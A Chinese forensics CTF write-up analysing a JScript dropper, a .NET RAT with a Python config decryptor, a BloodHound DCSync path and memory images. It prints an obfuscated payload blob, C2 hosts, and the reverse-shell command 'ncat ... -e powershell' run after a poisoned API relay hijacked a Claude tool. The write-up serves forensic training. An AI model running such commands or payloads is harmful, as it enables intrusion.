Vv79jaA93LoljToYBEKil9yz1DITUwMDi2NShPE35noP89ulEisrzFWKg/lWu+ZkOTse6X1Mg6mk4SVaSKy/DFQm1hhRtvv9ic2x+XYFkk6b2VpYllHfrpO0ltjOuOCNDQBwnDvCVEJidkRAgZesihMMzkMtu9PkoHmR3ZCndXZ0Xpudkf3VuOqISY6zt1vWiVk+qdl4AtylyXs3oEtMMY7E2ETsxBrAnQwK/V/v/GmG4muHzw+pHMdyXGBKeu5bmTeCx47WUFa5MGUNCfVlTg2RPsGDhwxl7METiX23uDzw+OY4wrzLKotBXMu7/sETcMe/oU4fouhZdinuSsRCJT2lpLDvyzw6la0Q2QtWnXufQOMaMx/q35xqsC7XBAd8s7ihQZPwWkXpvVyW9ehVCp1D+ET3qnEtcOPg1+ie/Utr8aMhfNO9M8Z83agXRJYhnyR1qEIvlIw0nGsx3dJX3HNeyknXl/8sgq7qRBrInaMVhUyu0RTs1xYk7uVH+W4PEtHB2WraNMde4vywqNMFGOCTWNK/J6VjPOwazfYG8qfbLJ7l4/HORM5zTkPn6EZ43n+SrFx+HQG66HT+jYiuDBMvupPFMxkj7JXsy7dJz5JIevygO5XOIgJ7drAH5ORofN7v6BSdlahccZsAwObwu43Jf+Xdq/xMtb+AmwH51r8GGcvwu/8Ej/geRGbJSgswPqcXP9FGblErTpwuJkgjvzHUdMXyALPY2xfzUzs+ll8Synhk2q/jTAlZ92Ihk2rsc3fV9PkQiOu86NgxB/WDgM6S2JHaG9AXjPkli4q56SBoPoFsUCvJoYPCbfTPmePll04c5X+hQYZFKneTH2o98evqrI/+oxAui9kU+yz9UFUgW4wfBNHUrpEAA7ONkZpYRUtPliRKEYhCKSVWXQ5pmQI2Y/g46iEQ2U37IRfmD+RGSYjaXrLZpmb8j1cxOyGQTWoWl/1dinwXon3gbIcqrFg30ASumcP20m76/nZmDU5P38b4pmh0vrl5eVDp9ctHDupU5AXZBfuvzvw8QEDXJuKxIVvQGrRbHsPNUDSeWno8wmVWhGrH2DcdqVtji/KhsrIJwDUgyDFeRRcHTl4kQWBnuB/fjBPeTv2eAOgMGlLjmIw0gPvaXeHk87W1JskSzizJZndymGD/Lm8zb9lg7jx7PnxJQDRwmI+5ZQNeeDcL3lKJPjgq/ahbMPX3NEtr1dBQtUE7hxMYpzXRNT3YDdkZLnMmIbHw8JJ4kg0sL1UXDPhkF9Qwav6XctgwkmHBxZ4ngNPDsLhvnBcHSOyb2qmjmnVWk4j6jkV9E2YeoYr48HnPAeuQcFReEDZ+GtDZWxhTfX9m5+M7/ytliMMmoYMzuOhpxfAf4G0DQl7PadQ52v4zKUisOIhcbAx8lLgV9bBAyFI8CtrAL9LM37Ju6cUggIB0BlE2TVzPnwUeeuLkg0YhKBM4e6Rnu7ykUKwB7a3fdez8bwon46+ebsT9Jam32lJ7G0jeT7Lbe+fwcLIZBeXisPqMArUfgn/ihkpcMopvVI0gSpyN23x7b7lA43a80mcy36awZ6IJIexPkCotSGcbaVNjgQqZjhyZSrFebaitAbKf7IvQjev927qRhuwkwV7PY55H7wybUJZbHGcwAcYyTmYtRw4AE556hvnKh8ZRND/jfpit8ZHD5DDY/f/qtxU/X7XYowep49J9sVefybHKc4OtE+RIx0VfvBwmiSMk2j2SBcKlbUc3R3Mgp83jF8AGCaIhLj0F5QD5YIPcq3OD+4J21Y3eqcDQYtaN4RK06bebSoU/r2F2O3jKYBrMy81InPkkYa+AY6jLUoyDRZy+/FWAv8i9IE/dubiIWQB/mZaolzMTR/b8jlcjquwNFa0Lgf9gCI2lvgnkzawxdNB5va82WzZFEcEE3A8zr57ajNQty0Rf8urmPARsEIt4OZnnFky76eoAi6I1AMPC4bl+CLl5eoGjKOUqZkTNyNqkDSDulIwEqZKlzEffKFr8gFpxYSPzlQ95eYURBWCkQnTZFo/aGn7W/SOvKKY3IDy1VFwAN4Ul6W/rHpnQ6zealP/G98felyBowwS6yHek2W9tX5xVEWfj4frmG15zsUJxMmZqQFJIjM+BEOi5veTSHO7vnQG/C5IE8sTowBUle2nM87Y0CCkW5oQXUqVZH1QAPi3+E+JmTMeoCZmV4wdz+sfhr0zbxijfAWnJgBNkfVgDUSw5EqgTYg3nC6m5jICsjsW/LaOVxudtofVlVIJQ164UE2w/srmPz5Fcf4/3gID255D3qTJVtcXtnItbVNxs5pnUD7Mcz6qNigy0sVxQnfA8Vdnj4c6aV8wn3kIRQTMcajBs/23TlFGcp45r1HuEUHilX+oyhCq4Iwk7j2vwWTo+1OOX9GXQIfuHZhePpm3a6oOoR3Qg+7+pu0iDzLPtdBrSaCHL7kQFvqjba6/1Sed52+DBj6A4zdQOJF5MPzwt/AFmiY8xsP2EW4pJS4r1YCIjW5v0Khf+6lDjdJwuSVeyHwtPhfzOM0EvzG2fA9x7LMIfIvLC+YonM6/yNHsWzDwX8apziqa8FEYtLy7FrCodH9MZqW8xBBYljG3XuslEi1i2aU+o7Ht196H1GLMWe9DkTH2K6EqYvLnA1gP/nmpgJXqcKO2ZVDuZqSvYXtYIB0fiyHpow+S/A2m5ETuw1wQsNkke6IvFVPup2exL9usLyLKT1G4/hjjbVJRZnEY2j7VN50Nyc4Rj1K2JCJBFuyG8wCUXZ8e+hL86Ok4/1puV+iMqj5CRyH6j6s2FyM7zlWU99Zc8C5IbZsLclcd8vbzSUzDMNOhpt3tB/Cvt55Ey3XOia7DktWiT8AAxO1DjNJo8qhlV+Sd7NPDhAdesGfGxjaXZM1A8Yx/ET3J5MIgQyjUlBAz5ohcpX4+WCDrDUCi7CPS1OstehKBJvpUHCqxY8suQkZSUwVDKGEyXKunEicnMWipIubinrsAeI4lxgAtjLMTlgyvrA9Tmt1s+dXGAj6on24YscjGd+u7h9fYL0n/7Zn7NUpsy31zc92RlN7rrP86ZNHzTEMvJ+4WdLQ9OWx1s1uVfMWKWmBZ2LFE/xHiVYCfWB9rnNViTxTJKRXB6q0kWacJr9hAbzA5VOXpBJCdOxLgMBW6JStiEkp+lcMyWe9h3mrgupyu9HDdGdSZTP3K+EJbccHBtoZ5uNdlgLvMk1S2+vpV6pSzHRK1enjGLQrz3AGJrgop595jEjEZp+ceh/SnLuxoW4MyZWr9kI/VQWGiRVQedJAF10eDljMQZVCw1J3l7BXssVnnWNph9qsq7kCmMyBGV3Tt6n608rKQ0nEAlIxnbYZm0OziLh54fYP8uvExpSD9yWwvBMrdNNBN4tgJ7udtyAnsCxjcXsgelt9lDPNaqLuBRSqVETxdo1siBumKOES2htH4SvnzVLvoqqZo+sT6esSECuk31GesVWNT/Xq+89a85MO+8X+uX5u70src0oqgncBD8m9vOaN2ku80RIOuxGlGmJhE/RXnT7OlrtKuD+deE/mnkMTYxwlPFHuGOoTrhazEezHVChemBWqryN6lD4j/nvSFRL2/KHWh0s+9cJfcnL4zFx/lJJYNUecDmjjHKxH1IJs1tp/2SSAUKsE/U16LIpEo0wfraad3K7pIiYC2pGC5foY93mZINrjJcrAgi7jzwUOjNJVDaPq+zvxsOdHIjfNv84P9/sAhDuuZoWh6/JTvVV3EsQ3hs7cXIccLcViw+CZbkPjo1Ikwt7EZpA5yfGdbjIMHaGUAhXkilEQQbIRiaRbHnWiEp/1aRel40hkFoJoRyi7trkSBE+x0Ph1aYQfUmu4U+aNs7LkjRomvKAxpTiqz/pF0XWgM6tN3d23xxx2HhZa2ceMc8i/h1rxXMNg6SSIECD3IOHU+9r/6BB8pGVEsy1ZdpO4q9weqaDZJLhY480CTMey+weDitD1ctqj2V+yUUSU7R2YOmiLNIbB4bS8PDQWWmCf7VHV9IkLqqsPajer3qVy31GHt0XyYlo9vNmZEbe1RJGu6opLXuNS+FOE4OlU3qC012EAqu8qXyjjESDE6CwVmF2H1Xvy8+2G1UYLKWpEUHvInQV+XBVBevWtUKkdYw/yl+C/9F/ZG1/+3l9cg6+4f0KFuDrVNXB6i+JLRbIzGHKJRVMklRBy8oGBGZJlfkALEbVDNUmOf6/oB/1WMSUlZjVjp4lgKy/UYV6/G95OKJPXifhyoASzwJ09NhOPEUCrucOxZwafKx/OFBfX4fgnNmZ/G7bPNc1MzVg598smtm1XyOaIyPerg4fyus7yZf8ywrZLMoVqDe282CtESnnKzD8SVzt09nBhLMiECKeCCOpOCwzvcbyrX0PUhwKGT6W4kDn1Thjfr1iKiYhhPo903Ioer7BZto5ngibOMqxXQVplrL+RND4MYKXFgTesndTXYMWwdS7XWg2r0N5fyt4ZIa6C+NUt5+iWNc8rHdIUvG/uttkc57STE/YosqyENQMykGVIpnZWOentQMQlwjTC4chvnjHZXomSg3vyQau1sW9JODvZ41UNTPudldmGS7NkbFF1x+kL9sF1AZc58kWEvvCKTaYpFGmReb1I4JvOpXOc4VPZyAEeFEpLmTm1Y++KgrbyjPXOG4vYXoboRWJVm3eXiIftqHYjHFwTdfs5qCJK0rTjx3CTpYaNeWnEBCgDPQwvrGZBYVSWxM92zU4MD2jbDT7uEh991SauxASgqrwaemlMktwVeKHm+c3VHhoghDzLKGjVczmYbYdkl1BsLjUpD8q6WvC66iUn/KXNa9gzytM1SaqnkFSavv6PC/hd9gLyQ3sxHj8YrjjCkVd4/SOzqe4B4sxmtmZn/a2T1MB8cpO7P4hXhKeBD9nz/zPmqU9pmGeZYcTjnDee1kNx9JCNHwXS+D/SwOG59My2ptuH2CiA42miWnZSzKyPHi7lkfEI13193R69OndQElm8RDOr0yQ+ieG2XaQcE+98oK7eycBGN9LIfRoGT5kDlBqVWFIUrpgK+5QFoi6XTWkvDlXQ0iX2gpQAnmyBPp3VAVnxG1v+ANrezVWfedUHrb6zU/FfG3Vl3Ckf81waSFdlkFn41Wx6QpPSNmvQIhHnerlSXrG/T1XXSVU8cW55kUexeLEASN9yYv8VhK8PA0Lw0ZFUlaaqyS+kZ6Kq7EMnb+hCCuG88GFA3OK0Q7jWf6ZqAO+dGO7kTFQ8LxZVcC3NSNc/8b+N3zUJ8XkzgYNjYxVcAU2ZqCG+0/DZ38qP8LVcsnVNJjnhucLvf5ECcRTrwrMGjmXngia5ACmtjRe5ste0V/sW4ggeZSzdcBUHBvF+bClUr8HD70Tv/2k7DWJojWbPEcemCdmZ0gu33e1UA9eQ2+VQNLXL87gEK9qcn0VJ9luhpqTprYhjoIOMXsSJQouN8rRlfWmdc1ixuKl/DCaZTiUPYoriGz37oFnZbwLReAYzoJevOA0IlBkqGyxkf15bx5d1CUQd9HPb4/G1TEU+D4oaHGNUsE2yioZ4j67Qgtfug9ocqitA1gpVsfEqR9V6bIk+ZnBV3DhAdUXTKkyDBnyNJzw5nb+uat4TiyZpn2yn4WiR5H7T88vRQBVa+O6iQdX+Rl8v40CUD8aPe4xFAFeSUiQ36NWSvMDQ/1rBwkj8al9KY5E01/iBeM3X4vkpDBU6KU6knSpcTjaSkI6T54IUe+aQugNWZmQp24f68JvRXEhP2qDbSC/Kze9Ft+8s4/XWtZjfSwkKvFvg/TGJshzioLuVKp/VHk3+bV/V5nYrxsyXx6eKICfS4q3kj+dKY9ETPJZ/qFVlnxItJd01fZYK5OgMkQPpTma30OIhpDs4oMeugaHBx5RxLPEieixhwH2TO+f+vcv9UOEGRiM08Ew0nVzpIF9R1klH/EVdDAJdxZ4ildRG/E2Y4awNEQOauRDllijlj8Vl2Y8nnCH2SvgwF1nZMZvgFCgt1AJuu76pWVo/ABFLw/bZ/7Ux1jHWvEBeTMSe6ZejSLo2JNiDC1T569mtIkex0X7ZZdzbzMj9wsrN/Et7gzPCUbZumvA90p9wvKyGqo3khhbyZUe4qWNtPdoTE5jobGzo01GdAGYKUHPE4jMBQiAhGjP9QCaxgp72lFZVzh2nWU8VyM/BGgJkK9vZTk0wxSp0EV1WktGmwIUaVETvzXatkNcYy736T+WPRXdtcOWKmC46MsXhUPxotefUMrjougzZgjJI8X7WXFXwH/9jPDIV8Y1Mh6HNqjIQCmOvmw3l12zrGATUclvCLn9isDJaKjjlx/UYdQYLIZHbFHVRPQ8vuwOwWU/vZIHu7T0WnfnNrBsrB0EjwO+5009mwtgPLNYn9NnpKrOwNqTawZdWz5YJouIWChtU3ht5qnp/Ym10SJyX6D9VHvOgc21rjaQWI+tzdybcGCNfQwlsBjkNTRXP1ec54J2VaND4vXBAWXEQOsHYMtGbI1BqcWKW7duj7rt+LYukyMzgXZ063Sdh7oJJ6MHfgQwpKXJV7u1cIC1xgt9WjllmdteHsnHn/HkgC1dFXZmStlOkTMjAae1a/GEkg/pJd28fdH//rtClx6KX70PN/JZUMRWeID8ZYyoIHXVYiYNNpuZrqkRySUx4IgkCIFfu15rDkWG+7UuNDTvbJX2g+fK2AvRATyVkJVMawnHZJt6ypF0JmQ8UzOYLzvg6KAJX6RKXpMtsKt6pSWo3gwJOPmqo3AfSPu07q9+EyTGzEsK1qAbIsm3icUeRIKJecXi4rBidSeyzx2LWs+7DnvHJa/GpvZsccmaMA6YmeWl0sWwMPOCFxC601nibLz+oG3OlLJCO7vDtJsmES+TKj6LafjqLIBWEVjlcxKZ9BOwbjdq1ZMiynMw+RGs6VqyXegEPjFjbPDCs8xSGFPnp8JnLPXX+YznYmGBGcbsYq50MNyiiLbmzGVxL7pBZmBlq+FI4XQ105UgXBtC+QGRryCqfJWsNwr+beavHoNlPvy4O0G/nAJFVauzPemq5emJd+Lu1bZ/z5k2x5mapdzyLjV6vtTJ4qlER64gZpvangKgs+NWh934esI5FY2/D0LlU83joZ0R8iCwRgmpXRi6pGqpUIc/EuSaEd6tE/1xEbe3g7It4buWni7f3Frr/7CZaDaDtDmlZzcDpYi08Ho4kHLFed1EloTuOb/jfu1teARV7kkzJ9NhvzcXkZKojw4dSRd/PC6/M918Kaskx1ouRTmoHNH6MgrG54dbqNX468CPxbXj04xmcmPSYO2InNmKhDIJGhYAgLlX0PLVg0TWBMHhzzfaArRzbi7w9HvdWi/iqIySIFh2jfjBdex3rLcDvxxgwv4WXc9/wV9h/9FBUk07KzxtTeaG+n6whtuOItsRtTupbsQziP8PAw07ctREl3db7mBfnZN6yas6e4j4AdGX4GinHhYFJ65c10tkJ9zvoQkC86NeBuQHnQDqgC+hzop1+A9tHk24pR2XU5PSyCTPHk8AjoE1dDWU17Mbxc0zICcYZghRW00RKTQbZzW81YgPMANcuSgl+ZCDNZ6ByJ8fFipryESqQrvC5V/owj0vI11q0tNej46B/JiKo7SEFChCfqgYLNELznP6FWed5oYzSqqYJtjDzmeAtfWhG9K7FDKZVhUabKlNzOOuQSJRz5Y209poln7VoVgU/KSoj3eBFF7GkCt8lqQd1CaZNNe4rNx727jFLRX/fBqPtqNsL1ORulxoEGAvhL7o5PP6+Rcg4RAaJnkjJTqRA4S5jGKEzxYk/tr24QxQnWWrV8UJw3DlvqDa6h8GkSlqEIoLsd9vzKYG33MMBpHLJubJeHoQYNF4Maaim3jyPcSryZfnz3gOpnnvVwosu7DB9izHv/6Os4xPuCnRQAHRri5fStdztt2QSRhNBovlx4Lpl9wz9VaaeLmCL/sqyP19PQWR1iOk6GVcHcxHKw7/pdbYD1NKneWN48YpS04vuATK19Q/cU/fQPNz7AGe155i8aHxBW96aW9AKSd3uD1facFs2K8TKd5RijfcEmLFp4PRJ5FLB/DDGXexVInz4FVslnMpeyGf+k5ytQ0SX5bOW4UpeSRS9THxrooyeYzFQXr/pIW4Pi3H3htrrN0BWTRiOFEWctbcvZT+zas6fvGk1Yso8IcmNhzThpWAqy+3b6H5UtXeZNxLEvnoGxe6bvhTXLuyrS6EiKtHiZ+RTLRVc/lSDEIJrFN7Hl1ALvMlWWVFDZN42DyUz65B3xtaDge182UFnZ+Wxik2rFY5SW9j3PfzEJEmV4PhagpOyA1YxXnxh7Q7H/p0Uz00m3k9gH/B/7Z1t8XPnAYYfUPj0wWmYwvfz+oXsHOlajXOusxg4f3zfO+rdnRfzK5dZQi/hi0pqcMmI008B6QGAIq2Z3qZaAIgsZIDnaOXsvjnEnVy6kivM9XTL8ETDjTWaS189BrUCSBPz8OtIJLxEzJIPU+kFEptxfQWgvhuELeYrTIfWW3Dc8xt5JzyHyl/BjMbxDfQLg31WVllIPlcjtn3LL8hw144SDEMdloV65ct/e3bKpCAx6zhb+TO24mvcOH2WIsVVxnCKK6fiYMOt7l/IxuqitH3ifVF49TH7kOxrzKp6gcnmfUbffxfWH1I9kfcIfymR0GpBa0lKlEBL0AigjqKdxLNqEsOzQyT8E+xPBg8mJM2yNcrJjTFGHYn6yHqRI7YXAJACU8p/FxK/u85h+uG7UGQSbnJ0AKPlDHCnkn8XOjauiX0AVHSw3R0aGBzpHIjU8b0QpgWE2tRt64FFKrGkk3G9/mp2c06ci1U0cboYcS2fOvbi78MjNhTVse6a3MdYylCxinneoxnV6Y6XsnklVXpZcJmfNRm8xS9OqjYeZjkk02FQ2jentLRbFOCdt0uhDK3lPSUfFGO4TNrnp6o32hy+voiwERW4C0CfHcBcJudOm1onx2K/v57hb+ZrEpnrcKlU2x/ld8KTazBsDn7qr7R56GZr4BRlfIaFOIdwh0vE6vc0bUxHPkQblJSjxKnO8id6SUA/glAwDMKOEj3Qlce4scZtS++eVdFeAe6Fcy9GYS0eyY10IslJlNbjwCFW4zX71Tmw5l0NgiOdeJ6Trhb2PaQ4owHXhXVmffZJnLGHPkhEapk3LifKQKN9MCQeHNpUZjNrFdOWvofimyqS8M6WlqNvH6FxF29MRKZt7VPbRXaBn8uLErquPGERO94NKLjCR5d3lOJsKXIvTUtBpe6h9g0GVLxyfvVcofhUyOoVYSqw2ms/VbfpyB2xrAzFqBKN8R1miQA6pu8FtK1jzORPZDGXXiUcQpLrC33rCQ0RQgxFSffp2/KxYGNU9BhB+fLVZBslnGhe8Zg0HFqVB+luLk0ZIzmsWhnL20X+txRyKoaLaxjy2RWc3usL8G+v3eR3BZOKro8I2otfTw/Fuogzljj15Pci05HREZO+fOQWZi8xY2LjBQCmkXYo51or36cQb9F9LDFbCsKLFFXcdeKf4NXuEO9/kjiBMriTK8Fk0yCQt/T+vtrrierJbojqr+HWvdwjleny9E/PSNGme5qhIcmLUNK95w37zUFdnPHe/WaFTJW489xbEwoeWJdQr+umgA3w3KOK12seT4vpLZy6x6CpPn2GCzQRCBAlv64aQX+gnEqrMjNFNJqeLNtQ+DJTk/Gn/JxEK4wgKxJs4zReOc9lQVbQvcFV2mpMej9u5aiy5z71S46J+wCgm8Kq/rlFQ/zOPqLwPmStpAaFIHAVksUWZohuLTpdPNCG9m5lCjeCAVPvfr4HYwB6Ocm2+Nxj3aaI2Dmgc8V4b/K3/iJ2K8YlYOhqfHxmdcb+X5giJKJzuxGQSvynsfkwmk1qqRr+HL9K6a+gbFKV4c0algxhIm+XrRrd0WV3Qs94ZWpBUY1QjBe/kXcrlwKdnHtN2hp3+v3mYF2MK14G4qXQmkEJGVN79kOZxgG6qfzsCJkLliqf/cnWoKOhS4hGjQZu1KCQ9UiKAckc+00Pb+ocsHsq3UY5HKcRdW3/cENie7awh/YYh1klKvBeBoK/j468uLfF4kAY5EsvPYQFV8UMOGzgS2p2j9v7TW1fhCwOYwfyodOhts322mDXDDQE1rAa5JTwl+pNE869LDstGKJDzbBehyFeKC5O3e7cqW8ACGKtSRV88uCHFet9T908aj7zBn8jDWO3IUEnjQbdRsJsaVMBQ5Veu3LoEK2WLKGpdOM4mcK7K+QKl0x7rlvjBhJ4qRp8noix7+nLWVqTGSsA3ASRj9pT0PtjROj0Z1x1ItIQKJuC5zCWR0HMO5jqaZWUOuMB579WPkpafUcwaUtPf53TKzV33M0/8VyxlZMJL+X7ii3roYf5woywCT9ObIrmfOe+cskW3R+ako29Fn2OWQNmggdBOVMQbJk1i/wl+7aKnRZtd/i4Gl19VKqkdouDtJGgujkyKDjBDZfb1BSIZTwyln2Aq9ahUOqPFuYsFduxNJb0LfYxW9WVT3iKY5qoMYZdpDTtxUgDVllZWtSYl6RF6Cp9Oqtn1bMOICoU7UYWwgZEq4mZcu/wJeOEI293QmfRuK0CGhnRACee+BlxquDanmL4OS8PjXMOIotQvpGTqNqmOGHCUjRhoatQMPet7QRWt6GpDkDolluT9Ux0FmGHeML5/LxaKxF3Eb0X5i5pwWjw1Trf/kZUHvDlXYW82/a7KmTodKWpRuzFOdhbQk5f2qoxoroq6iWeIq+4+SRouq9wTH/HQc9FeW+tw4Wa+xtORUlQLgMN8sv62SWjhJ17JRVMHUMe8IxtY//DFKJo/D9/xcZzrRbADVIRm28kPOOFydco3UxzO70ksTl3RLMzrCKydKrTe71FZls2ERLAvQYBj9cSB7eDWCjNv/6hcJMABENLj02vdgMW5dnsOt9FKh0D7uXulh6flIC2pqVnndt68dqxY0jzkehKRY6XTdd0DRQddXeTFRSArcjEfXjJNqJAyKEkmGyffQJm/7G6Hwion0p9zMzXBz8FZ7XPGP//Ip86I2pCT/jof11XLc9flSD1is1DJ5Y+Wbc4/c2p6RyI+j0uvGKNLr4l9wC0NrKMX8iCKeG5ZylaQW+RcWtngvkMwwUpShoRw3x6h7p/M6AHCJWvFkoARrLDIbrO2x8Iwk6l3lI2X5BNxoP27bfzb5v21CM6nV7J54KHXtlM9W76d91P2LpQ/MjUucFvnxAGvNsL6FCYEEhKa4sjCvDoC7q/sO3YoqNxJNLr/4kXtaV+8MEdSlce8lkhdihsCVuK2afaY1tll2S4BN1ZEgN+wiTmE5kuxCnQjDuialITsNqGj07De3e1FPvKJB+5VGutiVP0KhxKzuoOWRMvoFcGbdkGwiKwh87joobedjLanpVYkJkT330eM4Gyx04BlXtRaGKOBqwhxqS2ZQQ9eBfDqXA4jiEMKIlR5UkvD9VPFjqaXs0qpVmADX2axb30pG+Cz5qofmVoH2Wab6ELv9nl0Kb39hUmL6vJpOpuhqoBV/Lp4o/l8dmrbhue4N84o9YPBy/SFieRfjQP5lsrSZWJKNJ5ZSbf06ZO4=";return qGxZ;}
开头是:
var wvy1 = WScript.Arguments; var ssWZ = wvy1(0);
这里接收命令行参数集合的变量名是 wvy1
wvy1
(5分)44. 接上题,哪个函数返回下一阶段代码(即第一轮混淆代码)?
根据上面的脚本,开头的逻辑是:
var ES3c = y3zb(); ES3c = LXv5(ES3c); ES3c = CpPT(ssWZ,ES3c); eval(ES3c);
y3zb() 先返回大段混淆数据,然后才交给 LXv5 和 CpPT 处理,所以返回下一阶段代码的是 y3zb()
y3zb
(5分)45. 接上题,可以使用哪个Windows脚本主机程序在命令行模式下执行该脚本?
wscript.exe 是窗口模式,cscript.exe 是控制台模式。题目明确说“命令行模式”,所以答案是 cscript.exe
cscript.exe
(5分)46. 接上题,请提取出所有硬编码的C2(Command & Control)服务器域名?
搜索第二阶段的http://

www.saipadiesel124.com、www.folk-cantabria.com
(5分)47. 接上题,当C2服务器返回“work”指令时,脚本下载并执行的最终文件扩展名是什么?
跟 work 分支走到下载函数里。
主循环里:
case "work": XBL3(Ysyo);
进入 XBL3() 后:
var YIme = wyKN + LIxF.substring(0,LIxF.length - 2) + "pif";
说明下载下来的最终文件后缀就是 .pif
.pif
(5分)48. 接上题,如果与C2通信失败,脚本会调用哪个函数尝试自毁并清理痕迹?
分析
控制逻辑里:
case "fail": tbMu();
而 tbMu() 里会删除当前脚本、处理计划任务并退出,所以它就是自毁清理函数
tbMu
(15分)49. 请分析早起王的PC镜像,该PC中neo4j数据库的密码是多少?
在起早王电脑看到一张奇怪图片

尝试进行隐写解密,发现是盲水印

1qazxsw2
(10分)50. 根据早起王笔录内容,早起王曾经对某企业进行过渗透攻击,请分析域内实体关系,FILESERVER.XIAORANG.LAB对XIAORANG.LAB域拥有什么控制权限?
仿真之后在PC启动BloodHound和neo4j但是没有有效信息
转而去看早起王的U盘,有BloodHound.zip和渗透用的gost工具

本来是要启动BloodHound和neo4j,导入zip进行分析,但是我仿真之后的机子很卡很慢,本机又暂时没配好环境,这俩题目就直接当ai看文件分析得了

DCSync
(10分)51. 根据早起王笔录内容,早起王在渗透过程中已成功控制ZHANGXIN.XIAORANG.LAB,请结合域内实体关系图分析,早起王获取域控权限的完整攻击轨迹是什么?

ZHANGXIN@XIAORANG.LAB->FILESERVER.XIAORANG.LAB->XIAORANG.LAB
(10分)52. 早起王在PC中记录过自己的犯罪动机并对其进行加密,请使用社工的方式破解加密文件,并提交密码。
加密文件应该是桌面的“得不到的我就毁掉.7z”,既然是使用社工的方式破解加密文件,看到桌面上有一份简历:

再结合之前的Zqw2004,尝试带上生日再进行爆破


Zqw20040101!
倩倩的PC镜像
(10分)53. 早起王曾给倩倩发送过一封钓鱼邮件,请找到并计算附件MD5值。
查看倩倩的邮箱

导出,计算哈希

5436b61ea58adb794804e3f18ce53f2a
(10分)54. 接上题,编译木马使用的.NET版本是多少?
die直接看

4.0.30319
(5分)55. 接上题,木马中有多少反沙箱和反调试的检测逻辑?
主防分析汇总函数会依次检查 5 项,命中任意一项就 Environment.FailFast() 退出。
- VirtualBox/QEMU/虚拟机厂商:WMI 查询 Win32_ComputerSystem,看 Manufacturer/Model 是否含 Virtual、QEMU、VirtualBox
- 调试器:通过包装的 CheckRemoteDebuggerPresent
- Sandboxie:检测 SbieDll.dll 是否已加载
- Windows XP:取 OSFullName,判断是否包含 xp
- 托管/云环境:访问 http://ip-api.com/line/?fields=hosting ,若返回 true 则退出
5
(5分)56. 接上题,木马为获得提升的权限执行而创建的计划任务名称是什么?
计划任务删除逻辑用的是 schtasks /delete /tn "<Path.GetFileNameWithoutExtension(WmiPrvSE.exe)>"
WmiPrvSE
(5分)57. 接上题,木马使用哪种加密算法来加密或混淆其配置数据?
配置解密函数明确创建了 RijndaelManaged,并用 MD5CryptoServiceProvider 派生密钥;模式是 ECB
AES
(5分)58. 接上题,为了获取其加密算法的某个参数,木马使用一个硬编码字符串作为输入。这个硬编码字符串的值是多少?
是它拿去做 MD5 的硬编码字符串,再把 MD5 结果拼成 32 字节密钥。
8xTJ0EKPuiQsJVaT
(5分)59. 接上题,木马回连的ip地址有哪些?
import base64
import hashlib
from Crypto.Cipher import AES
# Hardcoded seed used by the malware to derive the Rijndael/AES key.
KEY_SEED = "8xTJ0EKPuiQsJVaT"
# Encrypted config items recovered from the sample.
CONFIG = {
"c2_hosts": "b7lP9DKXK17yU4FBIMvdZYYT7q1ogMGVrgjUqWnzqLxMXw3GIeVZpids5gIz2YZu",
"c2_port": "3qBjH4yDUHjhZBxWK56eYw==",
}
def build_key(seed: str) -> bytes:
"""
Reproduce the malware's key derivation logic:
MD5(seed) -> 16 bytes, copied into a 32-byte buffer twice,
with the second copy starting at offset 15.
"""
md5 = hashlib.md5(seed.encode("ascii")).digest()
key = bytearray(32)
key[0:16] = md5
key[15:31] = md5
return bytes(key)
def decrypt_config_item(ciphertext_b64: str, seed: str = KEY_SEED) -> str:
key = build_key(seed)
cipher = AES.new(key, AES.MODE_ECB)
plaintext = cipher.decrypt(base64.b64decode(ciphertext_b64))
pad = plaintext[-1]
if 0 < pad <= 16 and plaintext.endswith(bytes([pad]) * pad):
plaintext = plaintext[:-pad]
else:
plaintext = plaintext.rstrip(b"\x00")
return plaintext.decode("utf-8", errors="replace")
def main() -> None:
print("KEY_SEED =", KEY_SEED)
print("c2_hosts =", decrypt_config_item(CONFIG["c2_hosts"]))
print("c2_port =", decrypt_config_item(CONFIG["c2_port"]))
if __name__ == "__main__":
main()
"""
KEY_SEED = 8xTJ0EKPuiQsJVaT
c2_hosts = 156.238.239.253,66.175.239.149,185.117.249.43
c2_port = 7000
"""
156.238.239.253,66.175.239.149,185.117.249.43
(5分)60. 接上题,木马回连的C2通信端口是多少?
7000
(5分)61. 接上题,该木马通过将自身复制到可移动设备上来传播。在每个受感染设备上创建的新副本的名称是什么?
木马有一段很明确的 U 盘传播逻辑:它会枚举 DriveInfo.GetDrives(),筛 DriveType == Removable,处理可移动盘根目录,隐藏文件并清理 .lnk。这一块就是典型的“复制到可移动设备传播”分支。结合离线解密出来的配置项,里面有一个单独的文件名就是 USB.exe,这更像是专门给 U 盘传播分支准备的新副本名。
USB.exe
(5分)62. 接上题,木马用来检测其是否在沙盒环境中运行的DLL的名称是什么?
这是典型的 Sandboxie 检测点,样本直接用它判断是否在沙箱里。
SbieDll.dll
(5分)63. 接上题,木马操纵的用于控制Windows资源管理器中隐藏项目可见性的注册表项名称是什么?
样本里同时出现了 Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced、Hidden 和 ShowSuperHidden
木马会打开Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced往ShowSuperHidden 写入0
ShowSuperHidden
(5分)64. 接上题,木马使用哪个API将其进程标记为关键进程?
样本里有 NTdll.dll 和 RtlSetProcessIsCritical 字符串,且先 Process.EnterDebugMode() 再调用对应包装函数,这是把进程设为关键进程的典型组合。
RtlSetProcessIsCritical
(5分)65. 接上题,木马使用哪个API来捕获用户输入?
它创建了 LowLevelKeyboardProc 委托并安装低级键盘钩子,捕获用户输入对应的 API 是 SetWindowsHookEx。
SetWindowsHookEx
(5分)66. 请分析倩倩的PC镜像,倩倩的电脑曾被api投毒过,请找出投毒后执行的恶意命令。
已知早起王是在api中转站进行投毒,查看倩倩的PC中关于claude的文件夹

见api服务器部分的投毒语句也可以知道
ncat.exe 156.238.239.253 1314 -e powershell
倩倩的PC内存镜像
(10分)67. 请分析倩倩的PC内存镜像,识别当前正在运行且持有微信数据库解密钥的微信进程,并提取该进程的进程标识符(PID)?

10892
(10分)68. 请分析倩倩的PC内存镜像,请尝试解密微信数据库并写出message_0.db对应的微信密钥?

(10分)69. 请分析倩倩的PC内存镜像,请找到正在运行的木马进程的进程标识符(PID)?
按照之前的木马分析搜一下木马程序即可

7348
(5分)70. 请分析倩倩的PC内存镜像,请找到正在运行的木马进程的创建时间(UTC)?
上图的createtime
2026-04-03 01:46:44
(10分)71. 请分析倩倩的PC内存镜像,结合木马分析找出内存中回连的C2木马服务器的真实ip?

有俩ip,再结合之前对木马的分析
156.238.239.253:7000
